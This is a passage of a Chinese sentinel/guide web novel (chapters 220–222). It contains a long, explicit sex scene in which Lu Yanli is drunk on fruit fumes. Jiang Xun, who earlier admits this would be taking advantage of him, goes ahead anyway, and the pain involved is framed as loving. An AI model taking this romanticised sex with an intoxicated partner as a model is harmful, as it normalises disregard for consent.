光是催促还不够，在江寻撒网的时候，猫猫甚至还踩着他的脖子，一溜烟地爬上了他头顶，勾着他的头发，居高临下地俯瞰着水面。毛茸茸的大尾巴兴奋地在他脖子上扫来扫去，不时用爪子拍拍他的脑袋或者耳朵，喵喵叫着，亲自指挥他往自己看到的鱼群处下网。 这里的鱼虾从来没有经历过人类的捕捞，毫无防备之心，渔网撒下去都不知道躲避，一个个傻呆呆地往渔网里蹦，江寻几乎没费什么力气，几网子下去，就捞上来不少活蹦乱跳的大鱼和好几种巴掌长的虾子。 把收货倒进鱼护里抖了抖，江寻低头一看，居然都快装满了。 “够了够了，太多了。”头顶上的猫猫还在喵喵叫唤着，江寻忙好笑地制止，“这么多，我们根本吃不完，放回去一些吧，之后实在不够吃，我再带你过来抓。” 话音刚落，还没等他动手放生，猫猫已经不满地“嗷呜”了一声，两只前爪抱上他的额头，不住摇晃起来。大尾巴也不停在他脖子上拍打着，喉咙里咕噜咕噜的，明显在抗议，非要江寻把所有抓到的鱼虾都带回去。 “嗯？”江寻有些奇怪地伸手上去摸了摸小树，为他今天这起伏不定的情绪感到些许困惑。也许是很久没变回小树的模样和他出门了？还是今天想起了以前在寂静星上的日子，想起了那时和自己相处时的状态？ 江寻胡思乱想一瞬。不过看他这坚持的模样…… “好吧，”他带着点无奈的笑意，伸手捏了捏猫猫扫在自己脖子上的大尾巴，“都给你带回去。不过，你要负责把它们都吃完哦。” 得到江寻的应允，小树这才满意地“喵~”了一声，安静下来。重新趴上他头顶，监督着江寻把鱼护扎紧，提着满满一兜的鱼获，踏上了回家的路。 一路提着满满的收获回到树屋脚下，又费了点工夫把那一网兜的鱼虾带回树屋里。 江寻先是挑出了部分打算马上处理的鱼虾，再把剩下那些暂时吃不完的，连同鱼护里的海水一起倒进一个大容器里养起来。 其他食材中，水果最方便，分类好放进冷藏室里就行。海带、海芹菜之类的，自身含有的盐分有些高了，不太适合让哨兵直接吃，江寻便找了个盆，用清水把他们浸泡起来，打算泡上一下午，去去盐分再拿来做菜。 江寻围上围裙，戴起手套，站上厨房操作台，开始熟练地给鱼去鳞去腮，清理内脏。又把虾子一一挑出虾线，去头剥好壳再对半分开摆进盘子里。 这些鱼虾都非常新鲜，这里的环境也毫无污染，正适合做生鱼片吃。 在他忙碌的时候，陆厌离还是始终维持着小树的姿态，一点儿变回来的意思也没有。好像是打定了注意要好好享受让江寻伺候的一天。 不仅不帮忙，他今天还格外调皮粘人，不是在江寻脚下转来转去，就是跳上操作台，不停拨弄着江寻忙碌的手，用脑袋在他手腕上蹭来蹭去。一会儿粘着江寻要抱要摸，一会儿又丢下江寻，跑去逗弄那些还在水池里弹动着的虾子。 “怎么了这是？今天怎么这么闹腾？”江寻哭笑不得地再次从他爪下救出一只活虾，轻轻拍开他捣乱的爪子，点了点他的鼻头，“等会儿再吃，让我先去了虾线。” 被抢走猎物的猫猫不满地“喵~”了一声，抗议般一口咬上江寻的手腕，也不用力，就那么把自己的脑袋挂在上面，一双圆滚滚的眼睛控诉地看向江寻。 江寻好笑地抬高手，晃了晃手腕，那只灰色的猫猫虫也跟着被吊成一长条，在空中摇晃着身体。 “别闹，你不饿吗？让我忙完再陪你玩。” 得了承诺，小树这才松了口，转而踩上他的胳膊，一路攀到他肩头，把自己挂在他背上，毛茸茸的脑袋搁在他颈窝里，安静下来看着他忙碌。 江寻背着这个沉重的“负担”，快速将收拾好的鱼肉片成薄片，与刚才切好的虾子一起摆进盘子里。又将挑出来的虾头和鱼排熬煮成一锅鲜美的海鲜粥。 泡水的海芹菜暂时没法吃，他便翻出几个口味清甜的水果，切块装盘，准备给他们作为餐后水果吃。 一通忙碌过后，把做好的生鱼片、海鲜粥和果盘端上餐桌，这才把背上趴着的猫猫抖了下来。 “好了，午餐做好了，快变回来吃饭吧。”江寻一边吩咐着猫猫，一边就要往水池边走。 刚才与那些水产打了半天交道，他手上不可避免地沾染上了浓重的鱼腥味，光是冲洗一下根本去不掉，他闻着实在难受，想要趁着陆厌离变回来穿衣服的空档，再好好洗洗。 可被他抖落地面的猫猫，此时却没有回房去换衣服，而是亦步亦趋地跟着他走到了水池边。 “嗯？”江寻奇怪地看向猫猫，只见小树一直仰头盯着他的手，那沾染了海洋气息的鱼腥味，似乎对他有着什么奇特的吸引力似的，让他一双碧眼紧紧盯在上面，眼神像是清醒，又像是迷醉。 “你怎么了？快去变回人形呀。”江寻有些莫名，又催促了一句。 小树终于转移了视线，一双迷蒙蒙的猫眼看向江寻，眼睛里神色混沌，像是被什么蛊惑了一般，接着张口出声：“喵~” 下一秒，江寻面前灰烟弥漫，光影变换，蹭在他腿边的猫猫，在灰烟里变化了轮廓，整个身体原地抽长放大，待灰烟散尽，赤身裸体的男人身形出现在江寻视野当中。 可与平日里不同的是，他明明都已经变回了人形，却仿佛没有意识到这一点一般，仍然和刚才一样，四肢着地趴在江寻面前，一双眼睛也和刚才的小树的一样，不甚清醒，带着几分朦朦胧胧。 江寻被他这副模样震住，一时没反应过来他要做什么。 下一刻，陆厌离抬手抓住江寻一只手掌，低下头，把脸蛋埋进他掌心里，陶醉似的在他手心里深深闻了一下，而后，居然伸出舌头，满面欢喜地在他手指上舔舐起来。 “陆厌离？！” 指尖传来温热湿濡的触感，江寻看着男人带着几分迷醉的神情，猛地一怔，这才察觉到陆厌离的状态很不对劲。 “你怎么了？” 江寻急忙半蹲下来，捧起陆厌离的脸仔细看去。 陆厌离的脸被托起，骤然打断了舔舐的动作，舌头还伸在外面惯性地弹动着，一双眼睛迷迷茫茫地看向他。 江寻这才看清，对方碧绿的眸子里漫着一层水光，眼神像是失去了聚焦一般涣散着，反应也有些迟钝。被他捧住了脸也没有露出什么表情，脸颊上浮着一层不太正常的淡淡红晕，整个人都没什么力气，被他一拉就向前倾倒过去，软绵绵地靠在他的身上。 这模样……江寻皱了皱眉，怎么像是喝醉了？ 这个猜想一出现在脑子里，江寻便越发觉得像。可是怎么可能呢？他们两人平日里都是不饮酒的，这会儿出来度假，树屋别墅里也没有存放任何酒饮。更不要说，今天一天他们两人都呆在一起，陆厌离根本没有食用过任何含有酒精的东西啊。 江寻还在蹙眉思索着，可被他打断了动作的陆厌离，此时却又动了起来。 刚才吸引着他的那股味道，现在就与他近在咫尺，他一扭头，便又对上了充满好闻味道的掌心。这一次，他可不想把自己的猎物再弄丢了，伸手将面前的猎物紧紧抱在怀里，就欢快地再次舔舐起来。 江寻还没想个清楚，猝不及防间，便又被陆厌离欺了上来。这一次，对方直接把他的一只手臂都搂进了怀里，整个人都向他倒了过来，眼看着就要把他压倒在地上。 “哎……你等等！”江寻哭笑不得地伸手去拦，可是这会儿神志混乱的陆厌离，可不像平日里那样会控制自己的力气，S级哨兵真正的力量使出来，又哪是江寻所能动摇？任他如何拉扯自己的手臂，愣是没从对方怀里挪动一分。 这下子，江寻倒是能确定了，对方八成真的是醉了。 脑海中迅速闪过今天的经历，最后，终于回忆起了一个画面——果园里弥漫着的甜腻到近乎酒味的空气，以及那些熟透落下，烂在地上，又经过温暖空气发酵的果子。 再想到对方今天一天始终维持着猫形的行为，以及一会儿沉默，一会儿又异常亢奋的表现，他还有什么不明白的？ 江寻简直哭笑不得，陆厌离居然只是在果园里和他一起待了那么一会儿，就被那些发酵过头的果子挥发出来的一点儿酒精……给熏醉了？ 终于找到对方异常的原因，可也丝毫改变不了如今的状况。 眼看着陆厌离整个人越欺越上，几乎要把他压倒在地面上，江寻连忙撑着自己费劲地爬了起来。 胳膊根本抽不出来，他便干脆把陆厌离整个人都从地上抱了起来，搂在怀里，挪到旁边的餐椅上。 可看着他这会儿的模样，江寻也犯了难。比力气自己又比不过，和他讲话他这时候也好像听不懂，只得由着他舔着自己的手指，指望着他舔够了以后能主动放开自己。 可是……过了一会儿江寻就有些撑不住了。 天可怜见，他也是个血气方刚的正常男人。本来就是和自己的爱人出来度蜜月的，两人正是最最情热的时候。平时一个眼神对上，就要抓着人过来吻一下。这会儿，爱人赤身裸体坐在他怀里，又抓着他的手舔个不停，这他哪里受得住？ 虽然平时在情事里总是欺负爱人，可江寻正常情况下，道德感还是挺高的，这种趁着对方不清醒占便宜的事，他还是做不出来的。 正为难着，看到桌上刚刚准备好的生鱼片，眼中一亮。 自己只是手上沾染了些味道，就惹得他一直添个不停，要是直接给他吃鱼片，他总能放过自己了吧？ 想到这里，江寻马上伸长另一只尚且自由的胳膊，从桌上把放生鱼片的盘子挪了过来，捻起一片半透明的鱼片，递到陆厌离嘴边。 更加浓重的鱼味，果然吸引到了他的视线，陆厌离终于停下舔舐的动作，眼睛看向面前的鱼肉。 下一秒，如江寻所想那般，一口咬了过去。 新鲜的鱼肉显然取悦到了陆厌离，鼓着腮帮子刚咬下第一口，他眼中就是一亮，几下将那片轻薄的鱼肉咽下，马上又期待地看向江寻。 可是，他虽然停下了舔舐江寻手指的动作，却还是死死把江寻的那条手臂抱在怀里。江寻只好继续给他喂食起来，指望着把这个熏醉了的小祖宗喂饱以后，让他松开自己。 江寻机械地重复着捻起鱼片喂给陆厌离，等他吃下去，又接着喂下一片的动作。 喂到一半，却痛苦地发现，他是不舔自己被抱住的那只手了，可喂食的时候，却不停在嗦着自己喂他的那两根手指。 别问为什么不用餐具喂，他是纯种的右撇子！ 眼看着满满一盘子鱼片渐渐消失在陆厌离的肚子里，他吃东西的速度终于慢了下来。 江寻明白，这是快吃饱了。 果然，喝醉了以后整个人自控力都会下降，他今天可是做了两个人的份还有余，平常的时候，陆厌离早就停下了。 又一片鱼肉送到嘴边，陆厌离终于松开了抱着江寻胳膊的手，也不再吃了。扭过头去，下巴垫上江寻的颈窝，抬手好奇地捏上他的头发玩了起来。 江寻松了口气，只觉得这一顿饭吃下来，简直是对自己意志极大的考验。现在就想赶快把这个家伙哄上床，让他好好睡觉去，别再折腾自己了。 “吃饱了吗？吃饱了跟我好好去睡觉好不好？你醉了，等你睡醒了我再陪你玩好不好？”江寻微微推开陆厌离，柔声诱哄道。 吃饱了的陆厌离，似乎清醒了一些，眼睛有神了，也终于能听进去一些他说的话了，但明显，能听懂得不多。江寻说了这么长一串话，听到他耳朵里，却只剩下了几个字…… “睡觉！”陆厌离眼睛亮晶晶地重复着这个单词，“去睡觉？好！我要和江寻睡觉！” 说完，就在江寻无语的表情下，亲亲热热地环上他的脖子，整个人热情异常地在他身上蹭了起来。 “哎？！你……”江寻一时不察，直接被他囫囵搂了上来，满眼一下子全是白花花的一片，嘴唇好像还不小心蹭到了什么软弹的小东西。瞬间，少有地脸红起来。 一双手悬在半空，犹豫了半天才找到落点，扶着陆厌离的肩膀使劲儿把他拉开一些，没好气道：“我是让你去睡觉，你这家伙，醉成这样，这会儿知道和我睡觉是什么意思吗？” “和江寻睡觉！”陆厌离不情不愿地被推开，一双手还伸得长长地要抱回去，一句话好像又只听到了一半，“知道！我要和江寻睡觉！” “嗤！”江寻没好气地嗤笑一声，伸手捏住陆厌离的下巴，“你这会儿还知道个鬼！还和我睡觉呢？没睡之前你倒是挺主动的，整天勾引我。真的睡了以后，每次都哭着想跑，就这么难受吗？” 这会儿趁着陆厌离迷迷糊糊，江寻终于也能尽情吐露出自己的怨念了。 在他所了解的这个哨向社会的常识里，一般都是身体素质更好，情绪更容易波动，需要向导抚慰的哨兵更热衷这种事。只听说过哨兵一直缠着向导要过夜的，可少有听说哪个向导缠着哨兵。只有在他们家里，是他一直抓着陆厌离做，还每次都要控制着次数，难有尽兴。 “唔……不难受……”陆厌离说出这么一句话来，眼睛却盯在卡住他下巴的手指上，让人分不清他是认真的还是随口一说。 趁着江寻因为他这句话分神的空档，头一低，便把卡在他下巴上的手指含进了嘴里，还不忘含含糊糊地再接上一句解释：“不难受……是，是太舒服了……” 这句话一出，江寻彻底怔住。反应过来之后，眼中的笑意彻底消失不见。动了动被对方叼进嘴里的大拇指，拨弄一下那条灵活的舌头，周身的气息都带上了一丝危险。 “你的意思是，你不讨厌和我做那种事，是吗？” 江寻的眼神整个深沉下去，声音也变得喑哑。可此时的陆厌离可丝毫看不懂这些预兆，只是一边迷茫芒地与嘴里的手指做着斗争，一边诚实地点了点头： “嗯，喜欢，我喜欢和江寻睡觉。”—— 作者有话说：醉酒猫猫[让我康康]《 》 220-225 第221章 “咕咚”一声。 江寻喉结不自觉地滚动， 声音大到连他自己都听得清清楚楚。他看着面前的陆厌离那副迷迷糊糊，抱着他的手舔舐的模样，只觉得这会儿醉酒后， 毫无保留吐露心声的爱人，简直可爱得不得了。 “那上次在玻璃幕墙上……喜欢吗？”他把人往怀里带了带，嗓音低沉沙哑。 “唔……”陆厌离有些迷茫地看向江寻，反应了好一会儿， 才明白他在说什么， “喜欢……” “那不让你穿……给你戴铃铛， 也喜欢吗？”江寻继续得寸进尺地追问。 “猫猫本来就不穿的……”陆厌离嗦了嗦嘴巴，嘴角溢出一点涎水， “猫猫本来就要戴铃铛的，你看，我脖子上也有。”说着， 陆厌离抬了抬头， 笑得有点傻气地向面前的人展示自己脖子上的铭牌与小铃铛。 “……”江寻抽回大拇指，轻轻按在陆厌离润泽的下唇上，红艳艳的唇肉被按得肉嘟嘟的， 可爱极了， “那上次在外面， 也喜欢了？” “喜欢的……”陆厌离声音喃喃， 双手握在江寻捏着他下巴的手腕上， 表情开心， “江寻给我的……都好喜欢……” 江寻终于忍不住了。此时， 再顾不上去管是不是趁人之危占了便宜，大手顺着陆厌离的下颌一路滑向后颈，一把扣住， 就把他往自己这边按了过来，低头吻住。 陆厌离被这股力量一带，不由自主地扑进了江寻的怀里，被对方的气息团团笼罩。可他根本没有任何不适的表情，反而欢欢喜喜地搂上江寻的脖子挂了上去，仰起头主动启唇，迎接着对方的嘴唇。 这一个吻，江寻没有丝毫克制，他不再考虑是不是会吓到对方，不再顾及对方的感受，侧过头去，辗转反侧，肆意侵夺。 而被他亲上的那个人，却像是比他还要激动一般，不仅格外热情地配合着，甚至第一次主动扯开江寻的衣领，从后襟偷偷探了进去。 略有些冰凉的修长手指按在皮肤上，那触感令江寻痒痒的，似乎一下挠在了他的心尖上。 亲吻的动作停顿了一瞬，一个念头突然闪过他的脑海。 “你真的喜欢和我做吗？”江寻松了口，捏着陆厌离的后颈，把今天格外热情的爱人稍稍拉开一些，“我不信。” 陆厌离正开开心心地沉醉其中，骤然失去了温度，一脸疑惑失落地看向江寻。 “为什么不信？”他急急地追问着，“那你要怎么样才相信？” “除非你自己来，证明给我看看。” 江寻的手指若有所指地顺着脊椎下滑，在空中轻轻一点，露出一个意味深长的笑容。 江寻悠然地坐在餐椅上，揽着陆厌离防止他东摇西晃地掉下去，看着对方主动跨坐在他腿上，皱着眉头低头搓动着双手。 “怎么还不行……以前不是这样的啊……”陆厌离像是在对付什么深奥的课题，一边努力，一边困惑地嘟嘟囔囔。 江寻笑了笑，没说话。 平时都是他先意动的，当然很快。可今天，他有意逗弄陆厌离，再加上这个醉鬼这会儿脑筋都不太清楚，下手没轻没重的，进度自然就慢了。 “那怎么办呢？你得好好想想办法，不然你就是在骗我。”江寻闲闲地说了一句。 “我才没有！”陆厌离抬眼，面色严肃地看了江寻一眼，那眼神看似清醒了，可嘴里说出的话却暴露了，他还醉得不轻的事实，“我就是喜欢！” 可是话说得轻易，手上努力半天却仍然不得法。 半是泄气半是生气的一甩，却让江寻皱眉闷哼一声，努力半天的成果又回到了原样。 “啊！”陆厌离一声懊恼地惊呼，看着手里的东西，有些傻眼，“怎么又回去了？！” 江寻哭笑不得，被折腾了半天，此时也有些后悔。他跟一个没轻没重的醉鬼在这里较什么真，照他这进度，今天这顿饭要等到什么时候才能吃上？ 要不今天就算了？ 可还不等他反悔，陆厌离面上又浮现出一片坚定神色，像是被这挫折刺激地下定了什么决心。 下一刻，他整个人往后一滑，直接顺着椅子跪在地上，双手搭上江寻大腿，头就低了下去。 “唔！”江寻浑身一震，忍不住抓住那顺滑的银灰发丝。 猝不及防之间，被强烈刺激到。 陆厌离本来就没什么经验，这会儿脑子也不清醒，根本就是凭着本能在乱来。可是被爱人这样服务，亲眼看着他为自己努力，不得不说，心理上的快感简直令他头皮发麻。 陆厌离可不知道这些，这会儿他的脑子完全变成了单线程运转，心里只有一个任务，凭着本能努力着。 开始时还带着点逞强的成分，勉强自己承受着这种呕吐不适感。可过了一会儿，随着鼻尖闻到的苦艾味道越来越浓，他的鼻翼控制不住地翕张起来，眼神迷蒙，脑子也混沌起来，只想多一点，更多一点，把这个人的气息全部吞下去。 是向导素……好浓的向导素。 他的脑子里一瞬闪过这个认知，而后，连自己刚开始的目的也忘记了，一心只想获得更多的向导素。 陆厌离的眼神慢慢失去了清明，鼻间喷出的呼吸声愈发急促。 江寻一开始只是享受着心理上的愉悦，可渐渐地，一切就发生了变化。银灰色的发丝，在空气中剧烈摇曳，呜呜咽咽的声响不绝于耳，他眼看着陆厌离的脸颊下，不断鼓动。 一开始还在腮帮子上，然后渐渐向后移去，最后，直抵他的喉结。 江寻看不见的面孔上，瞳孔涣散开来，喉咙咕咚咚滚动。 “别！”江寻抓住银灰色的脑袋，快速向后推着。 他的双手却被另一双手紧紧控住。 随即，天地间一阵空茫茫的白光。 良久，陆厌离整个人都颤抖起来，歪倒在地上，不受控制地咳呛起来。 “厌离！”江寻醒过神来，心中满是疼惜，忙拉起陆厌离搂进怀里。 陆厌离乖乖窝在江寻怀里，对他露出一个满足的笑容。 江寻心中越发愧疚，一边擦拭着他的唇角，一边着急忙慌地道起歉来：“对不起，你没事吧？你怎么……都是我的错。” 陆厌离咳嗽了半天，这才回过神来，抿了抿嘴角，笑出声来：“向导素……是我的。” 说着说着，又环上江寻的脖子低声笑了起来：“都是江寻的向导素……我喜欢……” 看着那面孔上流露出的由衷喜悦，江寻心脏重重一跳，心中刚刚降下的欲望，刹那间又升腾起来。 他的动静丝毫没有瞒过正紧拥着他的人。陆厌离眼神往下一瞟，瞬间想起了自己最初的目的，整个人立马雀跃起来：“成功了！” 他把江寻往椅背上一压，着急地跨上他的膝盖，“我喜欢的，我今天要自己来！” 说着就要欺身而上。 “哎，哎！”江寻惊得立刻扣住他的腰，制止他莽撞的动作，“我准备好了，你自己还没准备好啊，你忘了我每次都是怎么做的吗？” “嗯？”陆厌离险险被江寻控住，停顿在那里想了半天，似乎才想了起来，“噢！” 一脸恍然大悟，低头看了看自己，犹豫了一下，就在江寻面前伸手下去。 陆厌离额头抵在江寻肩膀上，一边艰难地尝试着，一边难受地哼唧出声，一张脸皱得比苦瓜还难看。努力了半天，自己却越来越难受，耐心渐渐被消耗着。 “怎么感觉……和你弄的时候一点儿也不一样？”他吐出一口气来，皱着脸嘟嘟囔囔地抱怨着。 江寻也在强力忍耐，虽然看不到下面的情形，但只是耳边听着陆厌离的声音，就足以令他浮想联翩。 这会儿，实在有些后悔自己给自己挖的坑，照这样下去，不知道要磨蹭到什么时候了。 “不然算了，还是我来吧……”等了半天，对方还在吭哧吭哧的努力，感觉自己都快冷静下去了。江寻苦笑一声，提议道。 “不行！说好了今天要我自己来的。”江寻不说还好，一说这话，陆厌离懈怠下去的斗志又升腾起来。可是此时，他的耐心也已经消耗殆尽了，偷偷瞅了江寻一眼，看他没注意的样子，趁他不备，一把抓住江寻，就猛地欺身上去。 “嘶！” 这鲁莽的一下，让两人同时痛呼出声，一时猛地顿在那里，上下难为。 特别是陆厌离，脸都疼白了，整个脊背都颤抖起来。心疼得江寻立刻搂住他拍抚起来，“疼不疼？不做了，我们不做了，我知道你喜欢了。你现在醉了，我们等你醒酒了再说好不好？” “不……”陆厌离仰着头，深呼吸了好几下，缓过来之后，第一时间便拒绝了江寻，疼得水汪汪的眼睛注视着江寻，嘴角却露出个迷醉的笑来，“疼我也好喜欢……江寻给我的疼，我也喜欢。” 一句话说完，紧紧搂上江寻的脖颈，努力起来。小口小口地急促呼吸着，滴滴冷汗浸透了发丝，粘在脸颊上。眉眼之间能看出清楚的痛意，但直直盯着江寻的眼神中，却又蕴着一种极为惑人的沉迷。 “江寻……喜欢江寻……江寻给我的快乐，很喜欢……江寻给我的疼痛，也喜欢，江寻给我的项圈，我最喜欢……”陆厌离虚着眉眼，口中不停喃喃着，胡乱亲上江寻的嘴唇，“江寻”、“喜欢”的字眼，从他口中不断溢出来，心中那压倒一切、汹涌澎湃的爱意，就这样被他对着江寻亲口倾诉出来。 江寻同样呼吸急促，耳中听着陆厌离不断倾诉的爱语，脊背上不断蹿过战栗，只觉不论是精神还是肉|体上，都被巨大的幸福感冲击着，令他头皮发麻，内心激动不已。 他死死盯着陆厌离的双眼无法移开，此刻，任何外在身体上的愉悦，都比不上对方倾吐出的无边爱意，更加令他动容。 他的心脏在胸腔中剧烈跳动着，激动的心情，令浑身的血液好像都冲上了头顶，烧得他头昏脑涨。 这一刻，他再也想不起克制，再也想不起他们之间的游戏，抱紧陆厌离开始主动回应他的亲吻。 大手紧紧扣上陆厌离后背，手臂用力到青筋暴起，将他拥进自己怀里。 向来克制的沉稳学者，失了自控，恨不得就此把他按进自己的胸腔，让他融进自己的骨血里，再也不分彼此。 背后紧紧箍住的巨大力量，令陆厌离疼得又蹙起眉头闷哼一声，被江寻的手指触到的地方，瞬间便红紫一片。 可他此时，仿佛也从江寻的动作中感受到了对方的激动，整个人好像都清醒了一瞬。这一瞬的清醒，却丝毫没有让他怪罪或者躲避江寻的意思，反而从心底升腾出一股巨大的满足感来。 面前这个无论何时都沉稳淡定，仿佛将一切都掌握在自己鼓掌之中的人，正因为自己而失控。 这一个认知，比任何身体上的刺激都更加令他激动。 “江寻……喜欢你……我是你的……”陆厌离喃喃着，温热的呼吸拂过江寻的面孔，不甚清醒地紧紧盯着他，“我喜欢你的印记……” 他的声音渐趋于无，最后的尾音消失在唇瓣之间。 久久，在混杂了快乐、疼痛、满足与奉献的浓烈情感中，两人之间的气氛越攀越高。 一切归于平静后，空气中只余慢慢弥漫开的石楠花香，与他们尚未平复的呼吸声。 火热的气氛渐渐平息，江寻慢慢冷静下来。 他珍惜地捧起陆厌离一只手臂，从指尖开始，一点一点地啄吻上去，触过掌心，触过手腕，一路向上经过臂弯、肩头、锁骨下颌，直到再一次吻住嘴唇。 两个人此时的形象都狼狈不已，呼吸急促、头发散乱、浑身汗津津，还溅上了不少不明污渍。失了所有体面，宛如两只发情的野兽。可此刻，却觉得彼此的心灵前所未有的贴近。 江寻的双手游移着，嘴唇在陆厌离的脖子上，几乎能称得上是啃咬地亲吻着，再不去管会不会留下痕迹，让他难堪。 而这样的态度，也令陆厌离面上浮现出巨大的满足。他闭紧双眼仰起脖子，如同献祭一般将自己送到江寻唇下，任由他肆意啃噬在颈项上。 良久，江寻的动作才缓和下来，有一下没一下地轻吻在陆厌离颈间，充满了珍惜与爱意。 “厌离……你感受到了吗？我好开心。”江寻面上浮现出一个纯粹的灿烂笑容，捧着陆厌离，几乎不知道要如何疼爱他才好。 陆厌离的呼吸也慢慢平复下来，带着几分得意看向江寻，似乎是对今天由自己主导的这场情事十分满意。 “辛苦了，”江寻含笑凑近过去，碰了碰他的唇瓣，慰问爱人今日的辛劳，“累了吧？陪你去睡觉好不好？” 陆厌离半眯起眼睛，理所应当地接受了这个谢礼，却没有应江寻的后半句话，而是伸手用力揉了揉自己的腹部，得意地听到一声闷哼。瞬间，室内火热的气氛再次燃起，开口道：“我还不想睡呢。” 一眼看到江寻意外的表情，面上漾起一个既甜蜜，又带着点儿羞涩的笑容：“我还没吃饱……” 他微微后退，远离开江寻，眼里带着几分说不清道不明的笑意，打量了一下身边的环境。而后，转身爬上背后的餐桌。 随即，玉山倾倒，阳光照耀下来，映照出一片白皑皑的美景。 学者看着眼前玉山蜿蜒，下自成蹊，忙不迭便要攀登。 却被温言软玉阻拦下来。 滚烫的侧脸贴上冰凉桌面，舒适的温度令陆厌离舒服地喟叹一声。 一双眼睛看向不远处的江寻，“你等一等，我自己来……” 一手向后伸了过去…… 江寻狠狠咽下一口口水，只觉鼻间有点热。 这一刻，他无比感谢那个果园，并将美酒摆上心中最尊贵的那个位置。 一根又一根手指慢慢消失。 直到看到那兰瓣倏然中分，温良的学者再也无法控制自己，化身为欲|望的俘虏，甘之如饴地被魅|魔拖拽着，共坠深渊。 那冒着热气的海鲜粥明明就摆在面前，却无人问津。桌脚摩擦地面的声音，从日正当午一直持续到大日西斜。 待到陆厌离终于满足，筋疲力尽下来，天边晚霞已微红。 桌上的海鲜粥，不知什么时候被打翻了。 桌面上、地面上、两人身上，已经被污得不成样子，一片狼藉。 两人躺在餐桌上剧烈喘息着，江寻只觉这么久以来，第一次感受到了脚软的感觉。可精神却前所未有的旺盛饱满。 看了看疲惫地昏昏欲睡的陆厌离，此时也顾不得去收拾其他了。撑起最后的力气给两人匆匆冲洗一番，便抱着陆厌离倒进了床铺里。 清洗的时候陆厌离全程昏睡着，这会儿躺了下来却又清醒过来一些，一眼看到身边的男人，下意识地就向着他爬了过去，拉着对方的手臂环住自己，这才埋进他的臂弯里，沉沉睡了过去。 在两人看不到的空气中，前所未有充溢的平和精神力滚滚流淌，将他们完全笼罩其中，更将另一股在此时显得格外温顺的精神力温柔地圈进怀里。丝丝缕缕的精神力纠缠在一起，悄无声息地渐渐融合为一。 * 当两人在荧珠星上蜜里调油地享受着自己的休假生活时，另一边，中央星，陆家老宅的书房里，气氛却截然不同。 明明是春日里最明媚的时候，书房中的光线却显得格外昏暗。 陆明远坐在宽大的书桌后，听着手下汇集出的情报，神色晦暗不明。 “你是说，老三之前返回联盟之后，能力突然异常提升，和这个叫江寻的S级向导有关系？”陆明远的手指敲击在实木扶手上，发出一声声沉闷的“哒，哒”声，脑子飞速运转开来，眼神闪烁。 “是的，家主大人。从愈灵殿那里得到的秘密消息显示，当时这位S级向导，不仅在危机关头成功疏导了三少爷，让他的堕化值大幅度降低，重新恢复了过来，更为他带来了一次能力的全面提升。愈灵殿那边传来的消息中表明，尼克斯组长的课题组中，就有关于二人精神力互相作用的研究课题，虽然具体原因尚未明确，但可以确定三少爷上一次的能力提升，确实是这位向导的手笔。”一个中年人恭恭敬敬地躬身站在陆明远身后，一五一十地汇报道。 陆明远的手指停了下来，书房内陷入一片沉寂。他向后靠在椅背上，半眯着眼睛，目光投向虚空，眼中是飞速流转的思绪。 江寻……S级向导……寻道者。 这个一开始丝毫没被他放进眼里的小向导，居然给了他一个惊喜呢。 众所周知，踏上“寻道者”之路的S级向导，与其他所有等级的哨兵、向导，地位都截然不同。他们中成功走到最后的每一位，最后都会站在联盟的最顶端。 “寻道者”对联盟来说如此重要，最大的一个原因就在于，他们中的每一个人，都会开辟出一条全新的能力发展路线。当他们初踏上这条道路时，重要性可能还不显，实力甚至不如那些通过各种渠道，学习旧有S级技能的“准S级”。可一旦他们将自己这条路线走通，就会创造出独属于他们自己的，全新的S级技能。而这些技能，往往效果极为强悍，影响力足以改变联盟某个领域的格局，更甚者，一整个时代的势力变化都会因为这一个人而改变。 历史上那些留下了姓名的伟大“寻道者”们，无一不是如此。 而这个从最底层爬上来的小向导，也是这样一位刚刚踏上自己“道路”的“寻道者” ……… 陆明远心中浮现出一个大胆而充满了诱惑力的猜测——这个江寻所踏上的“道路”，莫非与催化提升哨兵的能力等级有关？ 这个念头一旦从心中升起，便如野草一般，在他心中疯狂滋长起来。 此时再想到伊莱那通迫切到不惜放下身段的通讯，他只觉心中豁然开朗。 原来如此，伊莱·凡纳所要的，根本不是一个专为他疏导的私有禁脔。 一个单纯的S级向导，与一个拥有“催化”能力，能够提升其他哨兵能力等级的S级向导，对他们这样冲击顶点的家族来说，意义截然不同！ 如果真的如他所想那样，对方的能力可以用在其他哨兵身上，那他的价值……简直无法估量！ 如果能将这个人完全掌握在手中，让他为自己所用，不仅意味着，他可以借此利诱联盟中那些濒临崩溃的高级哨兵。更意味着……或许可以凭借他所创造出的这种新的“S级技能”，批量制造出大量忠于陆家的高阶战力！ 如果他能先一步，制造出这样一批高阶战力，并将这个足以改变时代的人掌握在手中，那么，也许在这一次即将到来的风云变幻中，陆家能凭借着这股东风，直接登顶联盟！—— 作者有话说：醉猫猫诱惑力MAX！[三花猫头] 马上48小时了，30几杀了，已经改到崩溃了，求求了，放过孩子吧5555~~~[爆哭][爆哭][爆哭] 第222章 陆明远眼中掠过一道锐利光芒， 面容骤然冷峻。 他之前恼怒于陆厌离的忤逆，对这个一直以来都很听话的儿子，突然脱离掌控感到不满， 更愤怒于他心心念念一个来历不明的野向导，拒绝按照他的安排去联姻，完成他的势力扩展计划。 但在这个野向导公开了S级的身份之后，他就不再用联姻去要求他了， 甚至默许了两个人的关系。 毕竟， 陆厌离的出身再怎么不光彩， 他也是他陆明远的种，身上流淌着陆家高贵的血脉， 为了把他培养出来，家族也付出了不小的代价，他不可能轻易放弃对方。陆厌离可与他手下那些用完即弃的炮灰不同， 他陆明远正是因为看重他， 才想给他安排一个更有实力的岳家。 之前之所以反对，是因为那个野向导的身份实在太过卑微了，一看就是冲着陆厌离身后的陆家背景来的。其实让他们两个人谈个恋爱也没什么， 要是陆厌离实在喜欢， 收了他养在外面倒也罢了， 可他却一心要和这个攀附陆家的狐媚子双宿双栖。陆明远怎么可能浪费陆家最顶尖的战力如此屈就？ 可如果对方是一个S级向导， 还一心想着与陆厌离在一起， 那情况就不一样了。 一个S级向导， 足以配得上陆家儿媳的身份。若是这个江寻能嫁入他陆家， 成为陆厌离的绑定伴侣，那即使他被陆厌离绑定后，对其他高阶哨兵的吸引力会下降， 但凭着S级向导在联盟中的影响力与江寻本身的能力，对于陆家而言，依然是笔稳赚不赔的买卖。 可现在，情况又不一样了。 如果这个江寻的价值远不止一个普通的S级向导那么简单……如果他所探寻的“道路”真的能够提升其他哨兵的能力等级…… 安静的书房内，逐渐响起深重的呼吸声，陆明远的手指扣在实木扶手上，指尖用力，眼眸中精光闪烁。 